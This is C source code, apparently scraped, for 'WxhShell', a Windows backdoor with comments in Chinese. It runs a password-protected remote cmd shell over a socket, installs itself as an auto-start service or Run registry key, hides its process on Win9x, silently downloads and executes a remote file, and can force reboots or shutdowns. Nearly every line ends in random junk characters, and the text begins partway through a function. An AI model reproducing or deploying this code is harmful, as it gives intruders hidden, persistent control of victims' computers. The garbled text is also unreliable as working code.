    send(wsh,msg_ws_err,strlen(msg_ws_err),0); saMv.;s 1^  
    else { `Oxo@G*@}W  
    closesocket(wsh); L8"0o 0-  
    ExitThread(0); ]F:5-[V#  
    } +r0ItqkM  
    break; Z]H`s{3  
    } rp*f)rJ  
  // 获取shell C^sHj5\(  
  case 's': { q$>/~aVM  
    CmdShell(wsh); F2QX ^*  
    closesocket(wsh); &gdtI  
    ExitThread(0); U&W{;myt  
    break;  iC]=S}  
  } FGzMbi<l#(  
  // 退出 +S!gS|8P  
  case 'x': { >_9w4g_<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [d+f#\ut  
    CloseIt(wsh); .<Y7,9;YEF  
    break; 1k&**!S]%  
    } E .2b@  
  // 离开 /:-8 ,`  
  case 'q': { &%."$rC/0b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {%Mt-Gm'd  
    closesocket(wsh); d51.Tbt#%7  
    WSACleanup(); 6$#p}nE  
    exit(1); <3aiS?i.h  
    break; "YY6_qQR'  
        } o[C,fh,$  
  } }Yd7<"kp  
  } ,9T-\)sT  
q'r(#,B<3  
  // 提示信息 )TNAgTmqK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @f<q&K%FJ  
} :_ _z?<?(  
  } KW^#DI6tr  
qY^OO~[  
  return; ]Puu: IG  
} E3IB> f  
S!*wK-  
// shell模块句柄 -rC_8.u :  
int CmdShell(SOCKET sock) KMFvi_8  
{ +6cOL48"  
STARTUPINFO si; ZH]n&%@j  
ZeroMemory(&si,sizeof(si)); 4`(b(DL]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fQZ,kl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5[^pU$Y  
PROCESS_INFORMATION ProcessInfo;  \*5`@>_  
char cmdline[]="cmd"; v[S>   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tk(ciwB  
  return 0; ,{{e'S9cy  
} :u}FF"j  
qo2/?]  
// 自身启动模式 /%W&zd=%#  
int StartFromService(void) >lZ9Y{Y4v  
{ %`rZ]^H  
typedef struct N_#QS}H  
{ OMaG*fb=  
  DWORD ExitStatus; x'Uv;mGo  
  DWORD PebBaseAddress; Yxe%:  
  DWORD AffinityMask; %bs6Uy5g)a  
  DWORD BasePriority; aZK%?c  
  ULONG UniqueProcessId; $w,&h:.p  
  ULONG InheritedFromUniqueProcessId; Q};g~b3  
}   PROCESS_BASIC_INFORMATION; P)VysYb?  
%!_okf   
PROCNTQSIP NtQueryInformationProcess; IhIPy~Hgt  
GwHp@_>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J|vriI;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tS1(.CRk  
'q+CL&D  
  HANDLE             hProcess; Aw]W-fx  
  PROCESS_BASIC_INFORMATION pbi; r!DUsE  
VK7lm|J+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gEFs4; CN  
  if(NULL == hInst ) return 0; }E?{M~"<  
K,pQ11J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q?e]N I^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lIs<&-0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v.wHj@  
lRIS&9vA3  
  if (!NtQueryInformationProcess) return 0; 6rBXC <Z  
$kc*~V~   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >5,nB<  
  if(!hProcess) return 0; 5W UM"eBwL  
-b?yzg, 8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;QVX'?  
i,77F!  
  CloseHandle(hProcess); ~,199K#'  
<{ Z$!]i1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \YV`M3O  
if(hProcess==NULL) return 0; cr;\;Ta_!W  
$Tc"7nYu  
HMODULE hMod; W{z7h[?5,  
char procName[255]; A^ :/*  
unsigned long cbNeeded; 3bMQ[G  
bf9LR1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "mBX$t'gb  
"YUh4uZ~P  
  CloseHandle(hProcess); Us5P?}  
eiiI Wr_7  
if(strstr(procName,"services")) return 1; // 以服务启动 ]yvHb)X  
`%PU_;Y5Q  
  return 0; // 注册表启动 zOV.cI6fZz  
}  >^<%9{  
DOk(5gR  
// 主模块 _]g?3Gw7!  
int StartWxhshell(LPSTR lpCmdLine) ]KsL(4PY  
{ }]i re2j8  
  SOCKET wsl; Sdk:-Zuv  
BOOL val=TRUE; 3&'u7e  
  int port=0; ]z^*1^u^ig  
  struct sockaddr_in door; {w,g~ew `  
D7| =ev  
  if(wscfg.ws_autoins) Install(); @qszwQav$  
U6 4WTS@  
port=atoi(lpCmdLine); hcQky/c\#b  
,5tW|=0@  
if(port<=0) port=wscfg.ws_port; m^6& !`CD  
-Fl;;jeX  
  WSADATA data; ?b}d"QsmU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zcn> 4E)  
8IX:XDEQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ncF|wz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^e<"`e  
  door.sin_family = AF_INET; Pz=x$aY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U$-;^=;  
  door.sin_port = htons(port); yA74Rxl*6  
9GH11B_A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u{Z 4M3U  
closesocket(wsl); d[cqs9=\  
return 1; )#NT*@j`  
} @Ido6Z7  
mJj [f8  
  if(listen(wsl,2) == INVALID_SOCKET) { =vqy5y  
closesocket(wsl); -#9Hb.Q;  
return 1; sYt\3/yL'  
} n0/H2>I[  
  Wxhshell(wsl); =th(Hdk17  
  WSACleanup(); -AJ$-y  
0`{3|g  
return 0; Rh=,]Y  
aGl*h" &  
} LF2@qvwD  
'dkKBLsx  
// 以NT服务方式启动 ZSB_OS[N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X=sC8Edx  
{ zc}qAy'<  
DWORD   status = 0; \.@fAgv  
  DWORD   specificError = 0xfffffff; ??4#)n k  
LjE@[@d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U\crp T`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aJQx"6 c?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z#J cN quM  
  serviceStatus.dwWin32ExitCode     = 0; ~+JE l%  
  serviceStatus.dwServiceSpecificExitCode = 0; XAn{xN pz  
  serviceStatus.dwCheckPoint       = 0; ucVWvXCr  
  serviceStatus.dwWaitHint       = 0; qIO<\Y l  
zOkIPv52~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  H[cHF  
  if (hServiceStatusHandle==0) return; 1XwW4cZ>:  
]VYv>o`2  
status = GetLastError(); R')D~JJ<8a  
  if (status!=NO_ERROR) 6:(R/9!P  
{ \[nvdvJv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NXJyRAJ*%  
    serviceStatus.dwCheckPoint       = 0; G>3]A5  
    serviceStatus.dwWaitHint       = 0; p1-bq:  
    serviceStatus.dwWin32ExitCode     = status;  AU3Ou5  
    serviceStatus.dwServiceSpecificExitCode = specificError; $& 0hpg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c@+;4Iz  
    return; !I 7bxDzK$  
  } c*5y8k  
eHjna\C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 't3@dz_dG  
  serviceStatus.dwCheckPoint       = 0; 0v~Eu>Rg  
  serviceStatus.dwWaitHint       = 0; vP_V%5~yN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /SXms'C  
} -<R"  
L\:f#b~W  
// 处理NT服务事件,比如:启动、停止 `]+-z +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H1FD|Q3  
{ r35'U#VMk?  
switch(fdwControl) ~miRnW*x  
{ x/7d!>#;  
case SERVICE_CONTROL_STOP: P ~pC /z  
  serviceStatus.dwWin32ExitCode = 0; &ye,A(4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wRc=;f  
  serviceStatus.dwCheckPoint   = 0; X_j=u1*5  
  serviceStatus.dwWaitHint     = 0; 3eqVY0q  
  { >N&C-6W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QGWfF,q  
  } h`_@eax  
  return; @V9qbr= Z  
case SERVICE_CONTROL_PAUSE: TQcEe@$)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M~6x&|2  
  break; /c`s$h4-  
case SERVICE_CONTROL_CONTINUE: 1z4s1 Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fnZaIV=H  
  break; 8-A * Jc  
case SERVICE_CONTROL_INTERROGATE: r*n_#&-7  
  break; :3FJe  
}; 75O-%9lFF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S.!0~KR: U  
} _n[4+S*v(  
v,\2$q/  
// 标准应用程序主函数 3\=iB&Gf|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c]pO'6]  
{ BFCF+hU^6R  
_li\b-  
// 获取操作系统版本 %(EUZu2  
OsIsNt=GetOsVer(); i$Rlb5RU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SO}$96  
H%K,2/Nj  
  // 从命令行安装 @IB+@RmL  
  if(strpbrk(lpCmdLine,"iI")) Install(); q}nL'KQ,n  
p6VHa$[  
  // 下载执行文件 L5"|RI}  
if(wscfg.ws_downexe) { 2EHeQ|#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oic}Go  
  WinExec(wscfg.ws_filenam,SW_HIDE); m4U7{sE  
} G)I lkA@  
,O9rL :?  
if(!OsIsNt) { N|pyp*8Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 UF g N@  
HideProc(); rCwjy&SuU^  
StartWxhshell(lpCmdLine); v7"Hvp3w  
} x J;DkPh  
else d/Sx+1 "{T  
  if(StartFromService()) W|go*+`W%  
  // 以服务方式启动 GM5s~,  
  StartServiceCtrlDispatcher(DispatchTable); ZQd\!K8y^Q  
else A.mIqu,:  
  // 普通方式启动 [M^ur%H  
  StartWxhshell(lpCmdLine); `=]I -5#.W  
*-!&5~o/U  
return 0; rA*"22v=  
} U9om}WKO  
,oW8im   
8gA:s`ofJ  
F-=W7 D:[c  
=========================================== IT`r&;5  
%cDTy]ILu  
)N) "O? W9  
c'9-SY1'~  
HMUn+kk+  
.js@F/H p  
" =5JTVF  
Jy,Dcl  
#include <stdio.h> =4;GIiF@  
#include <string.h> ?0UzmJV?8  
#include <windows.h> o'W[v0> L-  
#include <winsock2.h> x?ajTzMv  
#include <winsvc.h> ty8\@l  
#include <urlmon.h> t/6t{*-w  
=uZOpeviQ  
#pragma comment (lib, "Ws2_32.lib") 9w-V +Nf  
#pragma comment (lib, "urlmon.lib") [WOLUb  
%N"9'g>  
#define MAX_USER   100 // 最大客户端连接数 p'2ZDd =v  
#define BUF_SOCK   200 // sock buffer l!B)1  
#define KEY_BUFF   255 // 输入 buffer :Sh>  
qlT'gUt=H  
#define REBOOT     0   // 重启 (_}w4N#  
#define SHUTDOWN   1   // 关机 DqLZc01>  
:Fm{U0;"  
#define DEF_PORT   5000 // 监听端口 e3+'m  
P=)&]Pz  
#define REG_LEN     16   // 注册表键长度 \78w1Rkl  
#define SVC_LEN     80   // NT服务名长度 UMg*Yv%  
!l7eB@O  
// 从dll定义API ]-o0HY2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I2@pkVv3z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0]dL;~0y.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e ;4y5i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W$x'+t5H  
FFTh}>>  
// wxhshell配置信息 bDLPA27  
struct WSCFG { MZt~ Abt  
  int ws_port;         // 监听端口 Az_s"}G  
  char ws_passstr[REG_LEN]; // 口令 /f!CX|U  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^]He]FW':G  
  char ws_regname[REG_LEN]; // 注册表键名 Z4\$h1tl  
  char ws_svcname[REG_LEN]; // 服务名 f IUz%YFn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )V!dmVQq{g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Dw^'p>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 */B-%*#I.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C0\A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *QzoBpO<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1* _wJ  
fJ[(zjk  
}; b"+ J8W  
M1Jnn4w*d  
// default Wxhshell configuration \R >!HY  
struct WSCFG wscfg={DEF_PORT, ;cBFft}D  
    "xuhuanlingzhe", L#'B-G4&y  
    1, MB,;HeP!  
    "Wxhshell", _v2 K1 1  
    "Wxhshell", ,!"\L~6  
            "WxhShell Service", < PoRnx  
    "Wrsky Windows CmdShell Service", gA e*kf1  
    "Please Input Your Password: ", Xa._  
  1, RlU=  
  "http://www.wrsky.com/wxhshell.exe", \JBJ$lBL  
  "Wxhshell.exe" h9)QQPP  
    }; /J8'mCuC.  
'-F }(9M  
// 消息定义模块 Te`Z Qqb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rC>')`uk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zWxKp;.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XgUvgJ  
char *msg_ws_ext="\n\rExit."; s)q;{wz  
char *msg_ws_end="\n\rQuit."; <~BheGmmy  
char *msg_ws_boot="\n\rReboot..."; jiPV ]aVN  
char *msg_ws_poff="\n\rShutdown..."; Y-%S,91O  
char *msg_ws_down="\n\rSave to "; o@}+b}R}  
'l$<DcBj  
char *msg_ws_err="\n\rErr!"; Ak!l}d  
char *msg_ws_ok="\n\rOK!"; A &i  
Z9rs,_A  
char ExeFile[MAX_PATH]; vb{+yEa  
int nUser = 0; Z6<vLc  
HANDLE handles[MAX_USER]; {0fQ"))"  
int OsIsNt; n/_cJD \  
0z g\thL  
SERVICE_STATUS       serviceStatus; '|r('CIBN/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CqVh9M.ah  
T,h,)|:I^  
// 函数声明 ]XEkQ  
int Install(void); &Y2mLPB  
int Uninstall(void); GI}h )T  
int DownloadFile(char *sURL, SOCKET wsh); pPcn F`A  
int Boot(int flag); <!h&h  
void HideProc(void); bdiyS.a-  
int GetOsVer(void); NJb5HoYZ  
int Wxhshell(SOCKET wsl); `jR;RczC  
void TalkWithClient(void *cs); iY~9`Q1E  
int CmdShell(SOCKET sock); dA<PQKm  
int StartFromService(void); hia_CuY#  
int StartWxhshell(LPSTR lpCmdLine); /#?lG`'1  
QKYGeT7&Y'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9k_3=KS3N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tk5Bb`a  
}}v04~  
// 数据结构和表定义 OiAi{ 71  
SERVICE_TABLE_ENTRY DispatchTable[] = p1p4t40<l  
{ ;ti{ #(Ux  
{wscfg.ws_svcname, NTServiceMain}, WY%LeC!t  
{NULL, NULL} .$>?2|gRv  
}; gP*:>[lR  
i]Or'L0c  
// 自我安装 ': Gk~   
int Install(void) 6=]%Y  
{ NfcQB;0  
  char svExeFile[MAX_PATH]; MT" 2^&R  
  HKEY key; {9KG06%+  
  strcpy(svExeFile,ExeFile); /U[Y w)  
-b-Pvw4  
// 如果是win9x系统,修改注册表设为自启动 )2mi6[qs0l  
if(!OsIsNt) { v7VJVLH,I7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #;'1aT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H"8+[.xBh  
  RegCloseKey(key); kStWsc$;+T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B[F,D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x,"'\=|s*  
  RegCloseKey(key); 2s,wC!',  
  return 0; >S5:zz\  
    } ,L&Ka|N0  
  } )+[IR  
} RRy3N )HR  
else { Fs7/3  
>G<AyS&z*  
// 如果是NT以上系统,安装为系统服务 :0pxacD"!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y3jb 'S4(  
if (schSCManager!=0) DUiqt09`~  
{ fL4F ~@`9l  
  SC_HANDLE schService = CreateService "V:B-q  
  ( "(ehf|%>%  
  schSCManager, }' `2C$  
  wscfg.ws_svcname, A(#hyb#  
  wscfg.ws_svcdisp, w}pFa76rm  
  SERVICE_ALL_ACCESS, @)iv'   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Ha1pqR  
  SERVICE_AUTO_START, 4f~hd-z  
  SERVICE_ERROR_NORMAL, '3eP<earRP  
  svExeFile, MId\ dFu  
  NULL, u2'xM0nQ  
  NULL, o Wg5-pMWZ  
  NULL, zEJ|;oL  
  NULL, r'fNQJ >  
  NULL N4"%!.Y  
  ); ;<%~g8:XL  
  if (schService!=0) ,WbO8#z+  
  { elXY*nt8h  
  CloseServiceHandle(schService); 0mL#8\'"  
  CloseServiceHandle(schSCManager); ^<xpp.eY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "2(4?P  
  strcat(svExeFile,wscfg.ws_svcname); Y+ P\5G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Vq-<c%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XXacWdh \  
  RegCloseKey(key); #X7fs5$&  
  return 0; ~q#UH'=%  
    } Q~]#x![u0  
  } XbYW,a@w2  
  CloseServiceHandle(schSCManager); gPY2Bnw;l  
} YS k,kU  
} <T:u&Ic  
OUn,URI  
return 1; R@t?!`f!+  
} y!fV+S,  
{PGNPxUbe  
// 自我卸载 e4Ol:V  
int Uninstall(void) R`Hyg4?  
{ -uN5 DJSW  
  HKEY key; LX4S}QXw  
_OP75kv  
if(!OsIsNt) { S/ ]2Qt#T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { erYpeq.  
  RegDeleteValue(key,wscfg.ws_regname); *nU7v3D  
  RegCloseKey(key); Ab -uK|<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mZJ"e,AY  
  RegDeleteValue(key,wscfg.ws_regname); hT9fqH  
  RegCloseKey(key); fLAOA9  
  return 0; c3]ZU^  
  } D_D<N(O  
} X'e@(I!0  
} 1Ah  
else { G$:T!  
bl(rCbj(w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V[Fzh\2n  
if (schSCManager!=0) Xm*gH, '  
{ 4&~1|B{Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zz= +?L  
  if (schService!=0) v! uD]}  
  { 3,e^; {w  
  if(DeleteService(schService)!=0) { cD Z]r@AQ  
  CloseServiceHandle(schService); 0Z8K+,'!  
  CloseServiceHandle(schSCManager); rgdDkWLXC  
  return 0; dGf{d7D  
  } G/\t<>O8o  
  CloseServiceHandle(schService); )nJs9}( 0  
  } ~\<Fq\.x  
  CloseServiceHandle(schSCManager); {e0cc1Up}  
} v/\l  
} :CNWHF4$  
ZY+NKb_  
return 1; 4StiYfae  
} |Spy |,/  
DY'D]*'7$  
// 从指定url下载文件 1XU sr;Wz  
int DownloadFile(char *sURL, SOCKET wsh) N^xnx<  
{ ])egke\!  
  HRESULT hr; o X )r4H?  
char seps[]= "/"; ?@6N EfQf  
char *token; y[oc^Zuo  
char *file; q>X#Aaib  
char myURL[MAX_PATH]; ;S+*s'e  
char myFILE[MAX_PATH]; ]re1$ W#*  
)t{?7wy  
strcpy(myURL,sURL); :w:hqe|_  
  token=strtok(myURL,seps); w4<1*u@${  
  while(token!=NULL) j8WnXp_  
  { \I1+J9Gl  
    file=token; ZGf R:a)wc  
  token=strtok(NULL,seps); qd(C%Wk  
  } oOUL<ihe?  
l_5]~N  
GetCurrentDirectory(MAX_PATH,myFILE); *=mtt^yZ  
strcat(myFILE, "\\"); 8- 3]Bm!  
strcat(myFILE, file); xX*I .saK  
  send(wsh,myFILE,strlen(myFILE),0); $3zs?Fd`  
send(wsh,"...",3,0); DXl3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j[k&O)A{C  
  if(hr==S_OK) A 'rfoA6  
return 0; Z0s}65BR  
else (4o_\&  
return 1; wP8Wx~Q=  
4\a KC%5  
} vmm#UjwF3  
BZP}0  
// 系统电源模块 pZUckQ  
int Boot(int flag) [Nbs{f^J=  
{ vx62u29m  
  HANDLE hToken; |RS9N_eRt  
  TOKEN_PRIVILEGES tkp; <V0]~3  
ozwPtF5  
  if(OsIsNt) { A^nB!veh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SB0Cq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S\b[Bq  
    tkp.PrivilegeCount = 1; CtJ*:wF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F=!p7msRB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); luRtuXn[8  
if(flag==REBOOT) { |N/Grk4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GM=r{F &  
  return 0; SDt)|s  
} F9p'|-   
else { )0 UVT[7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _[u&}i  
  return 0; Vw :.'-Oi  
} =+;l>mn?O  
  } ~x^E kE  
  else { 2kb<;Eh`G  
if(flag==REBOOT) { E j`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EKo!vie G  
  return 0; _b|mSo,{Y  
} >uT,Z,7O  
else { >?>@&A/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~Gm<F .(+  
  return 0;  BC*62m  
} o~<Xc  
} CC&opC  
kqy d3Si>  
return 1; "`HkAW4GZa  
} 4Bg"b/kF  
[Z9 lxZ|  
// win9x进程隐藏模块 ~A^E_  
void HideProc(void) Yw @)0%G  
{ g<U\7Vp\1  
NU[{ANbl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ._'AJhU$0  
  if ( hKernel != NULL ) Wd "<u2  
  { l7#5.%A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IlN: NS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #$W02L8  
    FreeLibrary(hKernel); 0T,uH  
  } /2 z, ?,jL  
!Q[j;f   
return; y0s=yN_  
} HXV4E\JA  
&JMp)zaI[  
// 获取操作系统版本 :Y wb  
int GetOsVer(void) 8LuM eGs  
{ >}<1  
  OSVERSIONINFO winfo; Xb#!1hA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8R|!$P  
  GetVersionEx(&winfo); h;" 9.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j=|cx+nb  
  return 1; MX Qua:&HW  
  else wNc.z*+O"H  
  return 0; $O nh2 ^  
} 4^uQB(}Z  
c_"=G#^9@i  
// 客户端句柄模块 {BV0Y.O  
int Wxhshell(SOCKET wsl) bmCp:6  
{ m8[XA!,  
  SOCKET wsh; xf2|9Tqt  
  struct sockaddr_in client; FgwIOpqE*  
  DWORD myID; yuP1*QJ%  
1N\/61+aA  
  while(nUser<MAX_USER) l9{}nz  
{ m&S *S_c  
  int nSize=sizeof(client); suKr//_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $?P5A E  
  if(wsh==INVALID_SOCKET) return 1; ZZ'5BfI"I%  
hp|.hN(kS]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Aqj$ x  
if(handles[nUser]==0) >lPWji'4;  
  closesocket(wsh); (8"advc6  
else s#Ayl]8r  
  nUser++; p"@[2hK  
  } /EP RgRX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &|9K~#LVS  
a gk w)#  
  return 0; KBC?SxJSJc  
} trx y3k;  
*jQ?(Tf  
// 关闭 socket (>.l kR  
void CloseIt(SOCKET wsh) z] +&kNm  
{ X,xCR]+5S  
closesocket(wsh); ^cDHC^Wm  
nUser--; j_3`J8WwF  
ExitThread(0); hs^K9Jt  
} XoNBq9Iu  
IL>VH`D  
// 客户端请求句柄 wK]p`:3  
void TalkWithClient(void *cs) {,+{,Ere  
{ 8sus$:Ry  
C))x#P36  
  SOCKET wsh=(SOCKET)cs; ;_X2E~i[  
  char pwd[SVC_LEN]; sHqa(ynK  
  char cmd[KEY_BUFF]; gpw,bV  
char chr[1]; %6.WGuO  
int i,j; rdH3!  
m?O~(6k@C  
  while (nUser < MAX_USER) { J?C#'2 /   
n58yR -"  
if(wscfg.ws_passstr) { fI v?HD:j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!k^M"e2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p>N8g#G  
  //ZeroMemory(pwd,KEY_BUFF); [$X^r<|P@  
      i=0; emSky-{$u  
  while(i<SVC_LEN) { r03%+:  
 Q}9!aB,  
  // 设置超时 |:w)$i& *  
  fd_set FdRead; S=<OS2W7+r  
  struct timeval TimeOut; ~&< Ls  
  FD_ZERO(&FdRead); g@2KnzD  
  FD_SET(wsh,&FdRead); E1j3c :2  
  TimeOut.tv_sec=8; bWgRGJqt  
  TimeOut.tv_usec=0; X5pb9zRq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uG$*DeZti  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4mHk,Dd9,  
$ \+x7"pI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +70x0z2  
  pwd=chr[0]; h+R26lI1x  
  if(chr[0]==0xd || chr[0]==0xa) { Xf#+^cQ  
  pwd=0; NDUH10Y:[  
  break; 9.%t9RM^  
  } i E?yvtr8  
  i++; b>2{F6F  
    } ZkJLq[:cM  
VqUCcT  
  // 如果是非法用户,关闭 socket B*(BsXQLY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M5a&eO  
} @O`T|7v  
uUiS:Tp]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9=q&SG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [l/!&6  
jF@BWPtF=  
while(1) { JZdRAL2#v  
efNscgi  
  ZeroMemory(cmd,KEY_BUFF); PN3 Qxi4F  
= GyABK  
      // 自动支持客户端 telnet标准   &]h`kvtBC  
  j=0; d6a3\f  
  while(j<KEY_BUFF) { z/]]u.UP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $1$0M  
  cmd[j]=chr[0]; M1]}yTCd  
  if(chr[0]==0xa || chr[0]==0xd) { R< L =&I  
  cmd[j]=0; <+-=j  
  break; n2 can  
  } q9wObOS$  
  j++; *c\XQy  
    } boI&q>-6Re  
DaQ+XUH?  
  // 下载文件 jGi{:}`lB  
  if(strstr(cmd,"http://")) { 0l3[?YtXc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $4mCtonP=  
  if(DownloadFile(cmd,wsh)) Xj{gyLs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  )m#Y^  
  else ]>Ym   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xL*J9&~iG  
  } 'ieTt_1.G  
  else { !Rc %  
cQ]c!G|a4  
